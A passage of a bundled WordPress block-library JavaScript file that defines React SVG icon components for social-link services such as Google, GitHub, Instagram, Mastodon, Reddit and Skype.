c0.3,0.5,0.8,0.8,1.3,1.1c0.5,0.3,1.1,0.4,1.9,0.4C12.7,14.5,13.3,14.4,13.8,14.1z" }) });
48930
48931
48932;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/google.js
48933
48934
48935const GoogleIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12.02,10.18v3.72v0.01h5.51c-0.26,1.57-1.67,4.22-5.5,4.22c-3.31,0-6.01-2.75-6.01-6.12s2.7-6.12,6.01-6.12 c1.87,0,3.13,0.8,3.85,1.48l2.84-2.76C16.99,2.99,14.73,2,12.03,2c-5.52,0-10,4.48-10,10s4.48,10,10,10c5.77,0,9.6-4.06,9.6-9.77 c0-0.83-0.11-1.42-0.25-2.05H12.02z" }) });
48936
48937
48938;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/github.js
48939
48940
48941const GitHubIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12,2C6.477,2,2,6.477,2,12c0,4.419,2.865,8.166,6.839,9.489c0.5,0.09,0.682-0.218,0.682-0.484 c0-0.236-0.009-0.866-0.014-1.699c-2.782,0.602-3.369-1.34-3.369-1.34c-0.455-1.157-1.11-1.465-1.11-1.465 c-0.909-0.62,0.069-0.608,0.069-0.608c1.004,0.071,1.532,1.03,1.532,1.03c0.891,1.529,2.341,1.089,2.91,0.833 c0.091-0.647,0.349-1.086,0.635-1.337c-2.22-0.251-4.555-1.111-4.555-4.943c0-1.091,0.39-1.984,1.03-2.682 C6.546,8.54,6.202,7.524,6.746,6.148c0,0,0.84-0.269,2.75,1.025C10.295,6.95,11.15,6.84,12,6.836 c0.85,0.004,1.705,0.114,2.504,0.336c1.909-1.294,2.748-1.025,2.748-1.025c0.546,1.376,0.202,2.394,0.1,2.646 c0.64,0.699,1.026,1.591,1.026,2.682c0,3.841-2.337,4.687-4.565,4.935c0.359,0.307,0.679,0.917,0.679,1.852 c0,1.335-0.012,2.415-0.012,2.741c0,0.269,0.18,0.579,0.688,0.481C19.138,20.161,22,16.416,22,12C22,6.477,17.523,2,12,2z" }) });
48942
48943
48944;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/gravatar.js
48945
48946
48947const GravatarIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10.8001 4.69937V10.6494C10.8001 11.1001 10.9791 11.5323 11.2978 11.851C11.6165 12.1697 12.0487 12.3487 12.4994 12.3487C12.9501 12.3487 13.3824 12.1697 13.7011 11.851C14.0198 11.5323 14.1988 11.1001 14.1988 10.6494V6.69089C15.2418 7.05861 16.1371 7.75537 16.7496 8.67617C17.3622 9.59698 17.6589 10.6919 17.595 11.796C17.5311 12.9001 17.1101 13.9535 16.3954 14.7975C15.6807 15.6415 14.711 16.2303 13.6325 16.4753C12.5541 16.7202 11.4252 16.608 10.4161 16.1555C9.40691 15.703 8.57217 14.9348 8.03763 13.9667C7.50308 12.9985 7.29769 11.8828 7.45242 10.7877C7.60714 9.69266 8.11359 8.67755 8.89545 7.89537C9.20904 7.57521 9.38364 7.14426 9.38132 6.69611C9.37899 6.24797 9.19994 5.81884 8.88305 5.50195C8.56616 5.18506 8.13704 5.00601 7.68889 5.00369C7.24075 5.00137 6.80979 5.17597 6.48964 5.48956C5.09907 6.8801 4.23369 8.7098 4.04094 10.6669C3.84819 12.624 4.34 14.5873 5.43257 16.2224C6.52515 17.8575 8.15088 19.0632 10.0328 19.634C11.9146 20.2049 13.9362 20.1055 15.753 19.3529C17.5699 18.6003 19.0695 17.241 19.9965 15.5066C20.9234 13.7722 21.2203 11.7701 20.8366 9.84133C20.4528 7.91259 19.4122 6.17658 17.892 4.92911C16.3717 3.68163 14.466 2.99987 12.4994 3C12.0487 3 11.6165 3.17904 11.2978 3.49773C10.9791 3.81643 10.8001 4.24867 10.8001 4.69937Z" }) });
48948
48949
48950;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/instagram.js
48951
48952
48953const InstagramIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z" }) });
48954
48955
48956;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/lastfm.js
48957
48958
48959const LastfmIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M 12.0002 1.5 C 6.2006 1.5 1.5 6.2011 1.5 11.9998 C 1.5 17.799 6.2006 22.5 12.0002 22.5 C 17.799 22.5 22.5 17.799 22.5 11.9998 C 22.5 6.2011 17.799 1.5 12.0002 1.5 Z M 16.1974 16.2204 C 14.8164 16.2152 13.9346 15.587 13.3345 14.1859 L 13.1816 13.8451 L 11.8541 10.8101 C 11.4271 9.7688 10.3526 9.0712 9.1801 9.0712 C 7.5695 9.0712 6.2593 10.3851 6.2593 12.001 C 6.2593 13.6165 7.5695 14.9303 9.1801 14.9303 C 10.272 14.9303 11.2651 14.3275 11.772 13.3567 C 11.7893 13.3235 11.8239 13.302 11.863 13.3038 C 11.9007 13.3054 11.9353 13.3288 11.9504 13.3632 L 12.4865 14.6046 C 12.5016 14.639 12.4956 14.6778 12.4723 14.7069 C 11.6605 15.6995 10.4602 16.2683 9.1801 16.2683 C 6.8331 16.2683 4.9234 14.3536 4.9234 12.001 C 4.9234 9.6468 6.833 7.732 9.1801 7.732 C 10.9572 7.732 12.3909 8.6907 13.1138 10.3636 C 13.1206 10.3802 13.8412 12.0708 14.4744 13.5191 C 14.8486 14.374 15.1462 14.896 16.1288 14.9292 C 17.0663 14.9613 17.7538 14.4122 17.7538 13.6485 C 17.7538 12.9691 17.3321 12.8004 16.3803 12.4822 C 14.7365 11.9398 13.845 11.3861 13.845 10.0182 C 13.845 8.6809 14.7667 7.8162 16.192 7.8162 C 17.1288 7.8162 17.8155 8.2287 18.2921 9.0768 C 18.305 9.1006 18.3079 9.1281 18.3004 9.1542 C 18.2929 9.1803 18.2748 9.2021 18.2507 9.2138 L 17.3614 9.669 C 17.3178 9.692 17.2643 9.6781 17.2356 9.6385 C 16.9329 9.2135 16.5956 9.0251 16.1423 9.0251 C 15.5512 9.0251 15.122 9.429 15.122 9.9865 C 15.122 10.6738 15.6529 10.8414 16.5339 11.1192 C 16.6491 11.1558 16.7696 11.194 16.8939 11.2343 C 18.2763 11.6865 19.0768 12.2311 19.0768 13.6836 C 19.0769 15.1297 17.8389 16.2204 16.1974 16.2204 Z" }) });
48960
48961
48962;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/linkedin.js
48963
48964
48965const LinkedInIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z" }) });
48966
48967
48968;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/mail.js
48969
48970
48971const MailIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm.5 12c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l7.5 5.6 7.5-5.6V17zm0-9.1L12 13.6 4.5 7.9V7c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v.9z" }) });
48972
48973
48974;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/mastodon.js
48975
48976
48977const MastodonIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M23.193 7.879c0-5.206-3.411-6.732-3.411-6.732C18.062.357 15.108.025 12.041 0h-.076c-3.068.025-6.02.357-7.74 1.147 0 0-3.411 1.526-3.411 6.732 0 1.192-.023 2.618.015 4.129.124 5.092.934 10.109 5.641 11.355 2.17.574 4.034.695 5.535.612 2.722-.15 4.25-.972 4.25-.972l-.09-1.975s-1.945.613-4.129.539c-2.165-.074-4.449-.233-4.799-2.891a5.499 5.499 0 0 1-.048-.745s2.125.52 4.817.643c1.646.075 3.19-.097 4.758-.283 3.007-.359 5.625-2.212 5.954-3.905.517-2.665.475-6.507.475-6.507zm-4.024 6.709h-2.497V8.469c0-1.29-.543-1.944-1.628-1.944-1.2 0-1.802.776-1.802 2.312v3.349h-2.483v-3.35c0-1.536-.602-2.312-1.802-2.312-1.085 0-1.628.655-1.628 1.944v6.119H4.832V8.284c0-1.289.328-2.313.987-3.07.68-.758 1.569-1.146 2.674-1.146 1.278 0 2.246.491 2.886 1.474L12 6.585l.622-1.043c.64-.983 1.608-1.474 2.886-1.474 1.104 0 1.994.388 2.674 1.146.658.757.986 1.781.986 3.07v6.304z" }) });
48978
48979
48980;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/meetup.js
48981
48982
48983const MeetupIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19.24775,14.722a3.57032,3.57032,0,0,1-2.94457,3.52073,3.61886,3.61886,0,0,1-.64652.05634c-.07314-.0008-.10187.02846-.12507.09547A2.38881,2.38881,0,0,1,13.49453,20.094a2.33092,2.33092,0,0,1-1.827-.50716.13635.13635,0,0,0-.19878-.00408,3.191,3.191,0,0,1-2.104.60248,3.26309,3.26309,0,0,1-3.00324-2.71993,2.19076,2.19076,0,0,1-.03512-.30865c-.00156-.08579-.03413-.1189-.11608-.13493a2.86421,2.86421,0,0,1-1.23189-.56111,2.945,2.945,0,0,1-1.166-2.05749,2.97484,2.97484,0,0,1,.87524-2.50774.112.112,0,0,0,.02091-.16107,2.7213,2.7213,0,0,1-.36648-1.48A2.81256,2.81256,0,0,1,6.57673,7.58838a.35764.35764,0,0,0,.28869-.22819,4.2208,4.2208,0,0,1,6.02892-1.90111.25161.25161,0,0,0,.22023.0243,3.65608,3.65608,0,0,1,3.76031.90678A3.57244,3.57244,0,0,1,17.95918,8.626a2.97339,2.97339,0,0,1,.01829.57356.10637.10637,0,0,0,.0853.12792,1.97669,1.97669,0,0,1,1.27939,1.33733,2.00266,2.00266,0,0,1-.57112,2.12652c-.05284.05166-.04168.08328-.01173.13489A3.51189,3.51189,0,0,1,19.24775,14.722Zm-6.35959-.27836a1.6984,1.6984,0,0,0,1.14556,1.61113,3.82039,3.82039,0,0,0,1.036.17935,1.46888,1.46888,0,0,0,.73509-.12255.44082.44082,0,0,0,.26057-.44274.45312.45312,0,0,0-.29211-.43375.97191.97191,0,0,0-.20678-.063c-.21326-.03806-.42754-.0701-.63973-.11215a.54787.54787,0,0,1-.50172-.60926,2.75864,2.75864,0,0,1,.1773-.901c.1763-.535.414-1.045.64183-1.55913A12.686,12.686,0,0,0,15.85,10.47863a1.58461,1.58461,0,0,0,.04861-.87208,1.04531,1.04531,0,0,0-.85432-.83981,1.60658,1.60658,0,0,0-1.23654.16594.27593.27593,0,0,1-.36286-.03413c-.085-.0747-.16594-.15379-.24918-.23055a.98682.98682,0,0,0-1.33577-.04933,6.1468,6.1468,0,0,1-.4989.41615.47762.47762,0,0,1-.51535.03566c-.17448-.09307-.35512-.175-.53531-.25665a1.74949,1.74949,0,0,0-.56476-.2016,1.69943,1.69943,0,0,0-1.61654.91787,8.05815,8.05815,0,0,0-.32952.80126c-.45471,1.2557-.82507,2.53825-1.20838,3.81639a1.24151,1.24151,0,0,0,.51532,1.44389,1.42659,1.42659,0,0,0,1.22008.17166,1.09728,1.09728,0,0,0,.66994-.69764c.44145-1.04111.839-2.09989,1.25981-3.14926.11581-.28876.22792-.57874.35078-.86438a.44548.44548,0,0,1,.69189-.19539.50521.50521,0,0,1,.15044.43836,1.75625,1.75625,0,0,1-.14731.50453c-.27379.69219-.55265,1.38236-.82766,2.074a2.0836,2.0836,0,0,0-.14038.42876.50719.50719,0,0,0,.27082.57722.87236.87236,0,0,0,.66145.02739.99137.99137,0,0,0,.53406-.532q.61571-1.20914,1.228-2.42031.28423-.55863.57585-1.1133a.87189.87189,0,0,1,.29055-.35253.34987.34987,0,0,1,.37634-.01265.30291.30291,0,0,1,.12434.31459.56716.56716,0,0,1-.04655.1915c-.05318.12739-.10286.25669-.16183.38156-.34118.71775-.68754,1.43273-1.02568,2.152A2.00213,2.00213,0,0,0,12.88816,14.44366Zm4.78568,5.28972a.88573.88573,0,0,0-1.77139.00465.8857.8857,0,0,0,1.77139-.00465Zm-14.83838-7.296a.84329.84329,0,1,0,.00827-1.68655.8433.8433,0,0,0-.00827,1.68655Zm10.366-9.43673a.83506.83506,0,1,0-.0091,1.67.83505.83505,0,0,0,.0091-1.67Zm6.85014,5.22a.71651.71651,0,0,0-1.433.0093.71656.71656,0,0,0,1.433-.0093ZM5.37528,6.17908A.63823.63823,0,1,0,6.015,5.54483.62292.62292,0,0,0,5.37528,6.17908Zm6.68214,14.80843a.54949.54949,0,1,0-.55052.541A.54556.54556,0,0,0,12.05742,20.98752Zm8.53235-8.49689a.54777.54777,0,0,0-.54027.54023.53327.53327,0,0,0,.532.52293.51548.51548,0,0,0,.53272-.5237A.53187.53187,0,0,0,20.58977,12.49063ZM7.82846,2.4715a.44927.44927,0,1,0,.44484.44766A.43821.43821,0,0,0,7.82846,2.4715Zm13.775,7.60492a.41186.41186,0,0,0-.40065.39623.40178.40178,0,0,0,.40168.40168A.38994.38994,0,0,0,22,10.48172.39946.39946,0,0,0,21.60349,10.07642ZM5.79193,17.96207a.40469.40469,0,0,0-.397-.39646.399.399,0,0,0-.396.405.39234.39234,0,0,0,.39939.389A.39857.39857,0,0,0,5.79193,17.96207Z" }) });
48984
48985
48986;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/medium.js
48987
48988
48989const MediumIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13.2,12c0,3-2.4,5.4-5.3,5.4S2.6,15,2.6,12s2.4-5.4,5.3-5.4S13.2,9,13.2,12 M19.1,12c0,2.8-1.2,5-2.7,5s-2.7-2.3-2.7-5s1.2-5,2.7-5C17.9,7,19.1,9.2,19.1,12 M21.4,12c0,2.5-0.4,4.5-0.9,4.5c-0.5,0-0.9-2-0.9-4.5s0.4-4.5,0.9-4.5C21,7.5,21.4,9.5,21.4,12" }) });
48990
48991
48992;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/patreon.js
48993
48994
48995const PatreonIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20 8.40755C19.9969 6.10922 18.2543 4.22555 16.2097 3.54588C13.6708 2.70188 10.3222 2.82421 7.89775 3.99921C4.95932 5.42355 4.03626 8.54355 4.00186 11.6552C3.97363 14.2136 4.2222 20.9517 7.92225 20.9997C10.6715 21.0356 11.0809 17.3967 12.3529 15.6442C13.258 14.3974 14.4233 14.0452 15.8578 13.6806C18.3233 13.0537 20.0036 11.0551 20 8.40755Z" }) });
48996
48997
48998;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/pinterest.js
48999
49000
49001const PinterestIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2" }) });
49002
49003
49004;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/pocket.js
49005
49006
49007const PocketIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M21.927,4.194C21.667,3.48,20.982,3,20.222,3h-0.01h-1.721H3.839C3.092,3,2.411,3.47,2.145,4.17 C2.066,4.378,2.026,4.594,2.026,4.814v6.035l0.069,1.2c0.29,2.73,1.707,5.115,3.899,6.778c0.039,0.03,0.079,0.059,0.119,0.089 l0.025,0.018c1.175,0.859,2.491,1.441,3.91,1.727c0.655,0.132,1.325,0.2,1.991,0.2c0.615,0,1.232-0.057,1.839-0.17 c0.073-0.014,0.145-0.028,0.219-0.044c0.02-0.004,0.042-0.012,0.064-0.023c1.359-0.297,2.621-0.864,3.753-1.691l0.025-0.018 c0.04-0.029,0.08-0.058,0.119-0.089c2.192-1.664,3.609-4.049,3.898-6.778l0.069-1.2V4.814C22.026,4.605,22,4.398,21.927,4.194z M17.692,10.481l-4.704,4.512c-0.266,0.254-0.608,0.382-0.949,0.382c-0.342,0-0.684-0.128-0.949-0.382l-4.705-4.512 C5.838,9.957,5.82,9.089,6.344,8.542c0.524-0.547,1.392-0.565,1.939-0.04l3.756,3.601l3.755-3.601 c0.547-0.524,1.415-0.506,1.939,0.04C18.256,9.089,18.238,9.956,17.692,10.481z" }) });
49008
49009
49010;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/reddit.js
49011
49012
49013const RedditIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5.27 9.221A2.775 2.775 0 0 0 2.498 11.993a2.785 2.785 0 0 0 1.6 2.511 5.337 5.337 0 0 0 2.374 4.11 9.386 9.386 0 0 0 5.539 1.7 9.386 9.386 0 0 0 5.541-1.7 5.331 5.331 0 0 0 2.372-4.114 2.787 2.787 0 0 0 1.583-2.5 2.775 2.775 0 0 0-2.772-2.772 2.742 2.742 0 0 0-1.688.574 9.482 9.482 0 0 0-4.637-1.348v-.008a2.349 2.349 0 0 1 2.011-2.316 1.97 1.97 0 0 0 1.926 1.521 1.98 1.98 0 0 0 1.978-1.978 1.98 1.98 0 0 0-1.978-1.978 1.985 1.985 0 0 0-1.938 1.578 3.183 3.183 0 0 0-2.849 3.172v.011a9.463 9.463 0 0 0-4.59 1.35 2.741 2.741 0 0 0-1.688-.574Zm6.736 9.1a3.162 3.162 0 0 1-2.921-1.944.215.215 0 0 1 .014-.2.219.219 0 0 1 .168-.106 27.327 27.327 0 0 1 2.74-.133 27.357 27.357 0 0 1 2.74.133.219.219 0 0 1 .168.106.215.215 0 0 1 .014.2 3.158 3.158 0 0 1-2.921 1.944Zm3.743-3.157a1.265 1.265 0 0 1-1.4-1.371 1.954 1.954 0 0 1 .482-1.442 1.15 1.15 0 0 1 .842-.379 1.7 1.7 0 0 1 1.49 1.777 1.323 1.323 0 0 1-.325 1.015 1.476 1.476 0 0 1-1.089.4Zm-7.485 0a1.476 1.476 0 0 1-1.086-.4 1.323 1.323 0 0 1-.325-1.016 1.7 1.7 0 0 1 1.49-1.777 1.151 1.151 0 0 1 .843.379 1.951 1.951 0 0 1 .481 1.441 1.276 1.276 0 0 1-1.403 1.373Z" }) });
49014
49015
49016;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/skype.js
49017
49018
49019const SkypeIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10.113,2.699c0.033-0.006,0.067-0.013,0.1-0.02c0.033,0.017,0.066,0.033,0.098,0.051L10.113,2.699z M2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223z M21.275,13.771 c0.007-0.035,0.011-0.071,0.018-0.106c-0.018-0.031-0.033-0.064-0.052-0.095L21.275,13.771z M13.563,21.199 c0.032,0.019,0.065,0.035,0.096,0.053c0.036-0.006,0.071-0.011,0.105-0.017L13.563,21.199z M22,16.386 c0,1.494-0.581,2.898-1.637,3.953c-1.056,1.057-2.459,1.637-3.953,1.637c-0.967,0-1.914-0.251-2.75-0.725 c0.036-0.006,0.071-0.011,0.105-0.017l-0.202-0.035c0.032,0.019,0.065,0.035,0.096,0.053c-0.543,0.096-1.099,0.147-1.654,0.147 c-1.275,0-2.512-0.25-3.676-0.743c-1.125-0.474-2.135-1.156-3.002-2.023c-0.867-0.867-1.548-1.877-2.023-3.002 c-0.493-1.164-0.743-2.401-0.743-3.676c0-0.546,0.049-1.093,0.142-1.628c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103C2.244,9.5,2,8.566,2,7.615c0-1.493,0.582-2.898,1.637-3.953 c1.056-1.056,2.46-1.638,3.953-1.638c0.915,0,1.818,0.228,2.622,0.655c-0.033,0.007-0.067,0.013-0.1,0.02l0.199,0.031 c-0.032-0.018-0.066-0.034-0.098-0.051c0.002,0,0.003-0.001,0.004-0.001c0.586-0.112,1.187-0.169,1.788-0.169 c1.275,0,2.512,0.249,3.676,0.742c1.124,0.476,2.135,1.156,3.002,2.024c0.868,0.867,1.548,1.877,2.024,3.002 c0.493,1.164,0.743,2.401,0.743,3.676c0,0.575-0.054,1.15-0.157,1.712c-0.018-0.031-0.033-0.064-0.052-0.095l0.034,0.201 c0.007-0.035,0.011-0.071,0.018-0.106C21.754,14.494,22,15.432,22,16.386z M16.817,14.138c0-1.331-0.613-2.743-3.033-3.282 l-2.209-0.49c-0.84-0.192-1.807-0.444-1.807-1.237c0-0.794,0.679-1.348,1.903-1.348c2.468,0,2.243,1.696,3.468,1.696 c0.645,0,1.209-0.379,1.209-1.031c0-1.521-2.435-2.663-4.5-2.663c-2.242,0-4.63,0.952-4.63,3.488c0,1.221,0.436,2.521,2.839,3.123 l2.984,0.745c0.903,0.223,1.129,0.731,1.129,1.189c0,0.762-0.758,1.507-2.129,1.507c-2.679,0-2.307-2.062-3.743-2.062 c-0.645,0-1.113,0.444-1.113,1.078c0,1.236,1.501,2.886,4.856,2.886C15.236,17.737,16.817,16.199,16.817,14.138z" }) });
49020
49021
49022;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/snapchat.js
49023
49024
